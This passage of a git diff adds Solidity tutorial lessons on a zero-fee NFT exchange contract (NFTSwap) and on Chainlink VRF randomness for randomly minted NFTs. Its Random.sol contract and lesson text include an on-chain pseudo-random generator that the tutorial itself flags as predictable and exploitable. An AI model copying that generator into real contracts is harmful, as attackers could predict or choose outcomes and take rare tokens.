// Adjust NFT price + _order.price = _newPrice; + + // Release the Update event + emit Update(msg.sender, _nftAddr, _tokenId, _newPrice); + } + + // Implement onERC721Received of {IERC721Receiver}, able to receive ERC721 tokens + function onERC721Received( + address operator, + address from, + uint tokenId, + bytes calldata data + ) external override returns (bytes4) { + return IERC721Receiver.onERC721Received.selector; + } +} diff --git a/SolidityBasics_Part3_Applications/step8/img/38-1.png b/SolidityBasics_Part3_Applications/step8/img/38-1.png new file mode 100644 index 000000000..7c659a43e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-1.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-10.png b/SolidityBasics_Part3_Applications/step8/img/38-10.png new file mode 100644 index 000000000..5ae9194c8 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-10.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-11.png b/SolidityBasics_Part3_Applications/step8/img/38-11.png new file mode 100644 index 000000000..9c9a8e3af Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-11.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-12.png b/SolidityBasics_Part3_Applications/step8/img/38-12.png new file mode 100644 index 000000000..356664c10 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-12.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-2.png b/SolidityBasics_Part3_Applications/step8/img/38-2.png new file mode 100644 index 000000000..50525725c Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-2.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-3.png b/SolidityBasics_Part3_Applications/step8/img/38-3.png new file mode 100644 index 000000000..6b0485d43 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-3.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-4.png b/SolidityBasics_Part3_Applications/step8/img/38-4.png new file mode 100644 index 000000000..ba8456089 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-4.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-5.png b/SolidityBasics_Part3_Applications/step8/img/38-5.png new file mode 100644 index 000000000..a1bb175a8 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-5.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-6.png b/SolidityBasics_Part3_Applications/step8/img/38-6.png new file mode 100644 index 000000000..dbe44ee99 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-6.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-7.png b/SolidityBasics_Part3_Applications/step8/img/38-7.png new file mode 100644 index 000000000..4517a7b52 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-7.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-8.png b/SolidityBasics_Part3_Applications/step8/img/38-8.png new file mode 100644 index 000000000..62ddc6c14 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-8.png differ diff --git a/SolidityBasics_Part3_Applications/step8/img/38-9.png b/SolidityBasics_Part3_Applications/step8/img/38-9.png new file mode 100644 index 000000000..ba7b7958a Binary files /dev/null and b/SolidityBasics_Part3_Applications/step8/img/38-9.png differ diff --git a/SolidityBasics_Part3_Applications/step8/step1.md b/SolidityBasics_Part3_Applications/step8/step1.md new file mode 100644 index 000000000..022f7f8bf --- /dev/null +++ b/SolidityBasics_Part3_Applications/step8/step1.md @@ -0,0 +1,286 @@ +--- +title: 38. NFT Exchange +tags: + - solidity + - application + - wtfacademy + - ERC721 + - NFT Swap +--- + +# WTF Simplified Introduction to Solidity: 38. NFT Exchange + +I have been revisiting Solidity lately to review the details and create a "WTF Simplified Introduction to Solidity" for beginners (professional programmers may find other tutorials more suitable), with 1-3 updates per week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +All code and tutorials are open source on Github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +"Opensea" is the largest NFT trading platform on Ethereum with a total trading volume of $30 billion. Opensea charges a fee of 2.5% on transactions, meaning it has made at least $750 million in profits through user transactions. Additionally, its operation is not decentralized, and it has no plans to issue coins to compensate users. NFT players have been frustrated with Opensea for a long time. Today, we use smart contracts to build a zero-fee decentralized NFT exchange: NFTSwap. + +## Design Logic + +- Seller: The party selling the NFT can list the item, revoke the listing, and update the price. +- Buyer: The party buying the NFT can purchase the item. +- Order: The on-chain NFT order published by the seller. A series of the same tokenId can have a maximum of one order, which includes the listing price and owner information. When an order is completed or revoked, the information is cleared. + +## NFTSwap Contract + +### Events +The contract includes four events corresponding to the actions of listing (list), revoking (revoke), updating the price (update), and purchasing (purchase) the NFT. + +``` solidity + event List(address indexed seller, address indexed nftAddr, uint256 indexed tokenId, uint256 price); + event Purchase(address indexed buyer, address indexed nftAddr, uint256 indexed tokenId, uint256 price); + event Revoke(address indexed seller, address indexed nftAddr, uint256 indexed tokenId); + event Update(address indexed seller, address indexed nftAddr, uint256 indexed tokenId, uint256 newPrice); +``` + +### Order +An `NFT` order is abstracted as the `Order` structure, which contains information about the listing price (`price`) and the owner (`owner`). The `nftList` mapping records the `NFT` series (contract address) and `tokenId` information that the order corresponds to. + +```solidity + // Define the order structure + struct Order{ + address owner; + uint256 price; + } + // NFT Order mapping + mapping(address => mapping(uint256 => Order)) public nftList; +``` + +### Fallback Function +In `NFTSwap`, users purchase `NFT` using `ETH`. Therefore, the contract needs to implement the `fallback()` function to receive `ETH`. + +```solidity + fallback() external payable{} +``` + +### onERC721Received + +The safe transfer function of `ERC721` checks whether the receiving contract has implemented the `onERC721Received()` function and returns the correct selector. After the user places an order, the `NFT` needs to be sent to the `NFTSwap` contract. Therefore, the `NFTSwap` contract inherits the `IERC721Receiver` interface and implements the `onERC721Received()` function. + +This is a smart contract named "NFTSwap" that implements the interface "IERC721Receiver". The function "onERC721Received" is defined to receive ERC721 tokens. It takes four parameters: +- "operator": the address that called the function +- "from": the address that transferred the token to the contract +- "tokenId": the ID of the ERC721 token that was transferred +- "data": additional data that can be sent with the token transfer + +The function returns the selector of the "onERC721Received" function from "IERC721Receiver" interface. + +### Trading + +The contract implements `4` functions related to trading: + +- Listing `list()`: The seller creates an `NFT`, creates an order, and releases the `List` event. The parameters are the `NFT` contract address `_nftAddr`, corresponding `_tokenId` of `NFT`, and listing price `_price` (**Note: the unit is `wei`**). After successful, the `NFT` will transfer from the seller to the `NFTSwap` contract. + +```solidity + // List: The seller lists NFT on sale, contract address is _nftAddr, tokenId is _tokenId, price is _price in ether (unit is wei) + function list(address _nftAddr, uint256 _tokenId, uint256 _price) public{ + IERC721 _nft = IERC721(_nftAddr); // Declare an interface contract variable IERC721 + require(_nft.getApproved(_tokenId) == address(this), "Need Approval"); // The contract is approved + require(_price > 0); // The price is greater than 0 + + Order storage _order = nftList[_nftAddr][_tokenId]; // Set the NFT holder and price + _order.owner = msg.sender; + _order.price = _price; + // Transfer NFT to the contract + _nft.safeTransferFrom(msg.sender, address(this), _tokenId); + + // Release List event + emit List(msg.sender, _nftAddr, _tokenId, _price); + } +``` + +- `revoke()`: Seller cancels the order and releases the `Revoke` event. Parameters include the `NFT` contract address `_nftAddr` and the corresponding `_tokenId`. After successful execution, the `NFT` will be returned to the seller from the `NFTSwap` contract. + +```solidity +// cancel order: seller cancels the order +function revoke(address _nftAddr, uint256 _tokenId) public { + Order storage _order = nftList[_nftAddr][_tokenId]; // get the order + require(_order.owner == msg.sender, "Not Owner"); // must be initiated by the owner + // declare IERC721 interface contract variables + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFT is in the contract + + // transfer NFT to seller + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + delete nftList[_nftAddr][_tokenId]; // delete order + + // emit Revoke event + emit Revoke(msg.sender, _nftAddr, _tokenId); +} +``` + +- Modify price `update()`: The seller modifies the price of the NFT order and releases the `Update` event. The parameters are the NFT contract address `_nftAddr`, the corresponding `_tokenId` of the NFT, and the updated order price `_newPrice` (**Note: The unit is `wei`**). + +```solidity + // Adjust Price: Seller adjusts the listing price + function update(address _nftAddr, uint256 _tokenId, uint256 _newPrice) public { + require(_newPrice > 0, "Invalid Price"); // NFT price must be greater than 0 + Order storage _order = nftList[_nftAddr][_tokenId]; // Get the Order + require(_order.owner == msg.sender, "Not Owner"); // It must be initiated by the owner + // Declare IERC721 interface contract variable + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFT is in the contract + + // Adjust the NFT price + _order.price = _newPrice; + + // Release Update event + emit Update(msg.sender, _nftAddr, _tokenId, _newPrice); + } +``` + +- Purchase: The buyer pays with `ETH` to purchase the `NFT` on the order, and triggers the `Purchase` event. The parameters are the `NFT` contract address `_nftAddr` and the corresponding `_tokenId` of the `NFT`. Upon success, the `ETH` will be transferred to the seller and the `NFT` will be transferred from the `NFTSwap` contract to the buyer. + +```solidity + // Purchase: The buyer purchases NFT, the contract is _nftAddr, the tokenId is _tokenId, and ETH is required when calling the function + function purchase(address _nftAddr, uint256 _tokenId) public payable { + Order storage _order = nftList[_nftAddr][_tokenId]; // get Order + require(_order.price > 0, "Invalid Price"); // NFT price is greater than 0 + require(msg.value >= _order.price, "Increase price"); // The purchase price is greater than the list price + // Declare IERC721 interface contract variables + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFT is in the contract + + // Transfer NFT to buyer + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + // Transfer ETH to the seller, and refund the excess ETH to the buyer + payable(_order.owner).transfer(_order.price); + if (msg.value > _order.price) { + payable(msg.sender).transfer(msg.value - _order.price); + } + + // Release the Purchase event + emit Purchase(msg.sender, _nftAddr, _tokenId, _order.price); + + delete nftList[_nftAddr][_tokenId]; // delete order + } +``` + +## Implementation in `Remix` + +### 1. Deploy the NFT contract +Refer to the [ERC721](https://github.com/AmazingAng/WTF-Solidity/tree/main/34_ERC721) tutorial to learn about NFTs and deploy the `WTFApe` NFT contract. + +![Deploy the NFT contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/38_NFTSwap_en/step1/img/38-1.png) + +Mint the first NFT to yourself. This is done so that you can perform operations such as listing the NFT and modifying its price in the future. + +The `mint(address to, uint tokenId)` function takes two parameters: + +`to`: The address to which the NFT will be minted. This is usually your own wallet address. + +`tokenId`: Since the `WTFApe` contract defines a total of 10,000 NFTs, the first two NFTs to be minted here have `tokenId` values of `0` and `1`, respectively. + +![Mint NFT](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/38_NFTSwap_en/step1/img/38-2.png) + +In the `WTFApe` contract, use `ownerOf` to confirm that you own the NFT with `tokenId` equal to 0. + +The `ownerOf(uint tokenId)` function takes one parameter: + +`tokenId`: `tokenId` is the unique identifier of the NFT, and in this example, it refers to the `0` id generated during the minting process described above. + +![Confirming NFT ownership](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/38_NFTSwap_en/step1/img/38-3.png) + +Using the above method, mint NFTs with `tokenId` `0` and `1` for yourself. For `tokenId` `0`, execute a purchase update operation, and for `tokenId` `1`, execute a delisting operation. + +### 2. Deploying the `NFTSwap` contract +Deploy the `NFTSwap` contract. + +![Deploying the `NFTSwap` contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/38_NFTSwap_en/step1/img/38-4.png) + +### 3. Authorizing the `NFTSwap` contract to list the NFT for sale +In the `WTFApe` contract, call the `approve()` authorization function to grant permission for the `NFTSwap` contract to list the `tokenId` `0` NFT that you own for sale. + +The `approve(address to, uint tokenId)` method has 2 parameters: + +`to`: The address `tokenId` will be authorized to be transferred to, in this case, the address of the `NFTSwap` contract. + +`tokenId`: `tokenId` is the unique identifier of the NFT, and in this example, it refers to the `0` id generated during the minting process described above. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/38_NFTSwap_en/step1/img/38-5.png) + +Following the method above authorizes the NFT with `tokenId` of `1` to the `NFTSwap` contract address. + +### 4. List the NFT for Sale +Call the `list()` function of the `NFTSwap` contract to list the NFT with `tokenId` of `0` that is held by the caller on the `NFTSwap`. Set the price to 1 `wei`. + +The `list(address _nftAddr, uint256 _tokenId, uint256 _price)` method has 3 parameters: + +`_nftAddr`: `_nftAddr` is the NFT contract address, which in this case is the `WTFApe` contract address. + +`_tokenId`: `_tokenId` is the ID of the NFT, which in this case is the minted `0` ID mentioned above. + +`_price`: `_price` is the price of the NFT, which in this case is 1 `wei`. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/38_NFTSwap_en/step1/img/38-6.png) + +Following the above method, list the NFT with `tokenId` of `1` that is held by the caller on the `NFTSwap` and set the price to 1 `wei`. + +### 5. View Listed NFTs. + +Call the `nftList()` function of the `NFTSwap` contract to view the listed NFT. + +`nftList`: is a mapping of NFT Orders with the following structure: + +`nftList[_nftAddr][_tokenId]`: Input `_nftAddr` and `_tokenId`, and return an NFT order. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/38_NFTSwap_en/step1/img/38-7.png) + +### 6. Update NFT Price + +Call the `update()` function of the `NFTSwap` contract to update the price of NFT with `tokenId` 0 to 77 `wei`. + +The `update(address _nftAddr, uint256 _tokenId, uint256 _newPrice)` method has three parameters: + +`_nftAddr`: `_nftAddr` is the address of the NFT contract, which in this case is the `WTFApe` contract address. + +`_tokenId`: `_tokenId` is the id of the NFT, which in this case is 0, the id of the minted NFT mentioned above. + +`_newPrice`: `_newPrice` is the new price of the NFT, which in this case is 77 `wei`. + +After executing `update()`, call `nftList` to view the updated price. + +### 5. Dismantle NFT + +Call the `revoke()` function of the `NFTSwap` contract to dismantle the NFT. + +In the above article, we put up two NFTs with `tokenId` of `0` and `1`, respectively. In this method, we are dismantling the NFT with `tokenId` as `1`. + +The `revoke(address _nftAddr, uint256 _tokenId)` function has 2 parameters: + +`_nftAddr`: The `_nftAddr` is the address of the NFT contract, which is the `WTFApe` contract address in this example. + +`_tokenId`: The `_tokenId` is the id of the NFT, which is the `1` Id for the minting in this example. + +Call the `nftList()` function of the `NFTSwap` contract to see that the NFT has been dismantled. It will require reauthorization to put it up again. + +**Note that after taking down the NFT, you need to start again from step 3, authorize and relist the NFT before purchasing.** + +### 6. Purchase `NFT` + +Switch to another account and call the `purchase()` function of the `NFTSwap` contract to buy an NFT. When purchasing, you need to input the `NFT` contract address, `tokenId`, and the amount of `ETH` you want to pay. + +We took down the NFT with `tokenId` 1, but there is still an NFT with `tokenId` 0 available for purchase. + +The `purchase(address _nftAddr, uint256 _tokenId, uint256 _wei)` method has three parameters: + +`_nftAddr`: `_nftAddr` is the NFT contract address, which is the `WTFApe` contract address in this example. + +`_tokenId`: `_tokenId` is the ID of the NFT, which is 0 as we minted it earlier. + +`_wei`: `_wei` is the amount of `ETH` to be paid, which is 77 `wei` in this example. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/38_NFTSwap_en/step1/img/38-11.png) + +### 7. Verify change of NFT owner. + +After a successful purchase, calling the `ownerOf()` function of the `WTFApe` contract shows that the `NFT` owner has changed, indicating a successful purchase! + +In summary, in this lecture, we built a zero-fee decentralized `NFT` exchange. Although `OpenSea` has made significant contributions to the development of `NFTs`, its disadvantages are also very obvious: high transaction fees, no reward for users, and trading mechanisms that can easily lead to phishing attacks, causing users to lose their assets. Currently, new `NFT` trading platforms such as `Looksrare` and `dydx` are challenging the position of `OpenSea`, and `Uniswap` is also researching new `NFT` exchanges. We believe that in the near future, we will have better `NFT` exchanges to use. diff --git a/SolidityBasics_Part3_Applications/step9/Random.sol b/SolidityBasics_Part3_Applications/step9/Random.sol new file mode 100644 index 000000000..138557206 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step9/Random.sol @@ -0,0 +1,114 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +/** + * import from github and npm + * Import files are stored in the .deps directory of the current workspace + */ +import "../34_ERC721/ERC721.sol"; +import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; + +contract RandomNumber is ERC721, VRFConsumerBase { + // NFT parameters + uint256 public totalSupply = 100; // total supply + uint256[100] public ids; // used to calculate tokenId that can be mint + uint256 public mintCount; // the number of mint, the default value is 0 + // chainlink VRF parameters + bytes32 internal keyHash; + uint256 internal fee; + + // Record the mint address corresponding to the VRF application ID + mapping(bytes32 => address) public requestToSender; + + /** + * To use chainlink VRF, the constructor needs to inherit VRFConsumerBase + * The parameters of different chains are filled differently + * Network: Rinkeby test network + * Chainlink VRF Coordinator address: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B + * LINK token address: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311 + */ + constructor() + VRFConsumerBase( + 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B, // VRF Coordinator + 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 // LINK Token + ) + ERC721("WTF Random", "WTF") + { + keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311; + fee = 0.1 * 10 ** 18; // 0.1 LINK (VRF usage fee, Rinkeby test network) + } + + /** + * Input a uint256 number and return a tokenId that can be mint + */ + function pickRandomUniqueId( + uint256 random + ) private returns (uint256 tokenId) { + // Calculate the subtraction first, then calculate ++, pay attention to the difference between (a++, ++a) + uint256 len = totalSupply - mintCount++; // mint quantity + require(len > 0, "mint close"); // all tokenIds are mint finished + uint256 randomIndex = random % len; // get the random number on the chain + + // Take the modulus of the random number to get the tokenId as an array subscript, and record the value as len-1 at the same time. If the value obtained by taking the modulus already exists, then tokenId takes the value of the array subscript + tokenId = ids[randomIndex] != 0 ? ids[randomIndex] : randomIndex; // get tokenId + ids[randomIndex] = ids[len - 1] == 0 ? len - 1 : ids[len - 1]; // update ids list + ids[len - 1] = 0; // delete the last element, can return gas + } + + /** + * On-chain pseudo-random number generation + * keccak256(abi.encodePacked() fill in some global variables/custom variables on the chain + * Convert to uint256 type when returning + */ + function getRandomOnchain() public view returns (uint256) { + /* + * In this case, randomness on the chain only depends on block hash, caller address, and block time, + * If you want to improve the randomness, you can add some attributes such as nonce, etc., but it cannot fundamentally solve the security problem + */ + bytes32 randomBytes = keccak256( + abi.encodePacked( + blockhash(block.number - 1), + msg.sender, + block.timestamp + ) + ); + return uint256(randomBytes); + } + + // Use the pseudo-random number on the chain to cast NFT + function mintRandomOnchain() public { + uint256 _tokenId = pickRandomUniqueId(getRandomOnchain()); // Use the random number on the chain to generate tokenId + _mint(msg.sender, _tokenId); + } + + /** + * Call VRF to get random number and mintNFT + * To call the requestRandomness() function to obtain, the logic of consuming random numbers is written in the VRF callback function fulfillRandomness() + * Before calling, transfer LINK tokens to this contract + */ + function mintRandomVRF() public returns (bytes32 requestId) { + // Check the LINK balance in the contract + require( + LINK.balanceOf(address(this)) >= fee, + "Not enough LINK - fill contract with faucet" + ); + // Call requestRandomness to get a random number + requestId = requestRandomness(keyHash, fee); + requestToSender[requestId] = msg.sender; + return requestId; + } + + /** + * VRF callback function, called by VRF Coordinator + * The logic of consuming random numbers is written in this function + */ + function fulfillRandomness( + bytes32 requestId, + uint256 randomness + ) internal override { + address sender = requestToSender[requestId]; // Get minter user address from requestToSender + uint256 _tokenId = pickRandomUniqueId(randomness); // Use the random number returned by VRF to generate tokenId + _mint(sender, _tokenId); + } +} diff --git a/SolidityBasics_Part3_Applications/step9/RandomNumberConsumer.sol b/SolidityBasics_Part3_Applications/step9/RandomNumberConsumer.sol new file mode 100644 index 000000000..8aa96d175 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step9/RandomNumberConsumer.sol @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; + +/** + * Faucets for LINK and ETH to apply for testnet: https://faucets.chain.link/ + */ + +contract RandomNumberConsumer is VRFConsumerBase { + bytes32 internal keyHash; // VRF unique identifier + uint256 internal fee; // VRF usage fee + + uint256 public randomResult; // store random number + + /** + * To use chainlink VRF, the constructor needs to inherit VRFConsumerBase + * The parameters of different chains are filled differently + * Network: Rinkeby test network + * Chainlink VRF Coordinator address: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B + * LINK token address: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311 + */ + constructor() + VRFConsumerBase( + 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B, // VRF Coordinator + 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 // LINK Token + ) + { + keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311; + fee = 0.1 * 10 ** 18; // 0.1 LINK (VRF usage fee, Rinkeby test network) + } + + /** + * Apply random number to VRF contract + */ + function getRandomNumber() public returns (bytes32 requestId) { + // There needs to be enough LINK in the contract + require( + LINK.balanceOf(address(this)) >= fee, + "Not enough LINK - fill contract with faucet" + ); + return requestRandomness(keyHash, fee); + } + + /** + * The callback function of the VRF contract will be called automatically after verifying that the random number is valid + * The logic of consuming random numbers is written here + */ + function fulfillRandomness( + bytes32 requestId, + uint256 randomness + ) internal override { + randomResult = randomness; + } +} diff --git a/SolidityBasics_Part3_Applications/step9/img/39-1.png b/SolidityBasics_Part3_Applications/step9/img/39-1.png new file mode 100644 index 000000000..1cf9aacf0 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step9/img/39-1.png differ diff --git a/SolidityBasics_Part3_Applications/step9/img/39-2.png b/SolidityBasics_Part3_Applications/step9/img/39-2.png new file mode 100644 index 000000000..80b7c18cc Binary files /dev/null and b/SolidityBasics_Part3_Applications/step9/img/39-2.png differ diff --git a/SolidityBasics_Part3_Applications/step9/img/39-3.png b/SolidityBasics_Part3_Applications/step9/img/39-3.png new file mode 100644 index 000000000..67b10c56d Binary files /dev/null and b/SolidityBasics_Part3_Applications/step9/img/39-3.png differ diff --git a/SolidityBasics_Part3_Applications/step9/img/39-4.png b/SolidityBasics_Part3_Applications/step9/img/39-4.png new file mode 100644 index 000000000..831521e74 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step9/img/39-4.png differ diff --git a/SolidityBasics_Part3_Applications/step9/img/39-5-1.png b/SolidityBasics_Part3_Applications/step9/img/39-5-1.png new file mode 100644 index 000000000..1208937f7 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step9/img/39-5-1.png differ diff --git a/SolidityBasics_Part3_Applications/step9/img/39-5.png b/SolidityBasics_Part3_Applications/step9/img/39-5.png new file mode 100644 index 000000000..7e928b65b Binary files /dev/null and b/SolidityBasics_Part3_Applications/step9/img/39-5.png differ diff --git a/SolidityBasics_Part3_Applications/step9/img/39-6.png b/SolidityBasics_Part3_Applications/step9/img/39-6.png new file mode 100644 index 000000000..89ef06c11 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step9/img/39-6.png differ diff --git a/SolidityBasics_Part3_Applications/step9/img/39-7.png b/SolidityBasics_Part3_Applications/step9/img/39-7.png new file mode 100644 index 000000000..6af9e1400 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step9/img/39-7.png differ diff --git a/SolidityBasics_Part3_Applications/step9/step1.md b/SolidityBasics_Part3_Applications/step9/step1.md new file mode 100644 index 000000000..91768a889 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step9/step1.md @@ -0,0 +1,321 @@ +--- +title: 39. Chainlink Randomness +tags: + - solidity + - application + - wtfacademy + - ERC721 + - random + - chainlink +--- + +# WTF Solidity Quick Start: 39. Chainlink Randomness + +I am currently re-learning Solidity to sharpen my skills and writing a "WTF Solidity Quick Start" guide for beginners to use (advanced programmers can look for other tutorials). I will update 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +All code and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +Many Ethereum applications require the use of random numbers, such as NFT random tokenId selection, blind box drawing, and randomly determining the winner in gamefi battles. However, since all data on Ethereum is public and deterministic, it cannot provide developers with a method of generating random numbers like other programming languages. In this tutorial, we will introduce two methods of on-chain (hash function) and off-chain (Chainlink oracle) random number generation, and use them to create a tokenId random minting NFT. + +## On-chain Random Number Generation + +We can use some on-chain global variables as seeds and use the `keccak256()` hash function to obtain pseudo-random numbers. This is because the hash function has sensitivity and uniformity, and can generate "apparently" random results. The `getRandomOnchain()` function below uses the global variables `block.timestamp`, `msg.sender`, and `blockhash(block.number-1)` as seeds to obtain random numbers: + +```solidity +/** + * Generating pseudo-random numbers on the chain. + * Using keccak256() to pack some on-chain global variables/custom variables. + * Converted to uint256 type when returned. +*/ +function getRandomOnchain() public view returns(uint256){ + // Generating blockhash in Remix will result in an error. + bytes32 randomBytes = keccak256(abi.encodePacked(block.timestamp, msg.sender, blockhash(block.number-1))); + + return uint256(randomBytes); +} +``` + +**Note**: This method is not secure: +- Firstly, variables such as `block.timestamp`, `msg.sender`, and `blockhash(block.number-1)` are all publicly visible. Users can predict the random number generated by these seeds and select the output they want to execute the smart contract. +- Secondly, miners can manipulate `blockhash` and `block.timestamp` to generate a random number that suits their interests. + +However, this method is the most convenient on-chain random number generation method, and many project parties rely on it to generate insecure random numbers, including well-known projects such as `meebits` and `loots`. Of course, all these projects have been attacked: attackers can forge any rare `NFT` they want, instead of randomly drawing them. + +## Off-chain random number generation + +We can generate random numbers off-chain and upload them to the chain through oracles. Chainlink provides a VRF (Verifiable Random Function) service, and on-chain developers can pay the LINK token to obtain a random number. Chainlink VRF has two versions. Since the second version requires registration on the official website and prepaid fees, and the usage is similar, only the first version VRF v1 is introduced here. + +### Steps to use `Chainlink VRF` +![Chainlnk VRF](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/39_Random_en/step1/img/39-1.png) + +We will use a simple contract to introduce the steps to use Chainlink VRF. The `RandomNumberConsumer` contract can request a random number from the VRF and store it in the state variable `randomResult`. + +**1. The user contract inherits from `VRFConsumerBase` and transfers the `LINK` token** + +To use VRF to obtain a random number, the contract needs to inherit the `VRFConsumerBase` contract and initialize the `VRF Coordinator` address, `LINK` token address, unique identifier `Key Hash`, and usage fee `fee` in the constructor. + +**Note:** Different chains correspond to different parameters, please refer to [here](https://docs.chain.link/docs/vrf-contracts/v1/) to find out. + +In the tutorial, we use the `Rinkeby` testnet. After deploying the contract, users need to transfer some `LINK` tokens to the contract. Testnet `LINK` tokens can be obtained from the [LINK faucet](https://faucets.chain.link/). + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; + +contract RandomNumberConsumer is VRFConsumerBase { + + bytes32 internal keyHash; // VRF unique identifier + uint256 internal fee; // VRF usage fee + +uint256 public randomResult; // store random numbers + + /** + * When using chainlink VRF, the constructor needs to inherit VRFConsumerBase + * Different chain parameters are filled in differently. + *Network: Rinkeby testnet + * Chainlink VRF Coordinator address: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B + * LINK token address: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311 + */ + constructor() + VRFConsumerBase( + 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B, // VRF Coordinator + 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 // LINK Token + ) + { + keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311; +fee = 0.1 * 10 ** 18; // 0.1 LINK (VRF usage fee, Rinkeby test network) + } +``` + +**2. User requests random number through contract** + +Users can call `requestRandomness()` inherited from the `VRFConsumerBase` contract to request a random number and receive a request identifier `requestId`. This request will be passed on to the `VRF` contract. + +```solidity + /** + * Request a random number from the VRF contract + */ + function getRandomNumber() public returns (bytes32 requestId) { + // The contract needs to have sufficient LINK + require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet"); + + return requestRandomness(keyHash, fee); + } +``` + +3. The `Chainlink` node generates a random number and a digital signature off-chain and sends them to the `VRF` contract. + +4. The `VRF` contract verifies the validity of the signature. + +5. The user contract receives and uses the random number. + +After verifying the validity of the signature in the `VRF` contract, the fallback function `fulfillRandomness()` of the user contract will be automatically called, and the off-chain generated random number will be sent over. The logic of consuming the random number should be implemented in this function. + +Note: The `requestRandomness()` function is called by the user to request a random number and the fallback function `fulfillRandomness()` is called when the `VRF` contract returns the random number are two separate transactions, with the user contract and the `VRF` contract being the callers, respectively. The latter will be a few minutes later than the former (with different chain delays). + +```solidity + /** +* The callback function of the VRF contract will be automatically called after verifying that the random number is valid. + * The logic of consuming random numbers is written here + */ + function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { + randomResult = randomness; + } +``` + +## `tokenId` Randomly Minted `NFT` + +In this section, we will use on-chain and off-chain random numbers to create a `tokenId` randomly minted `NFT`. The `Random` contract inherits from both the `ERC721` and `VRFConsumerBase` contracts. + +```Solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/ERC721.sol"; +import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; + +contract Random is ERC721, VRFConsumerBase{ +``` + +### State 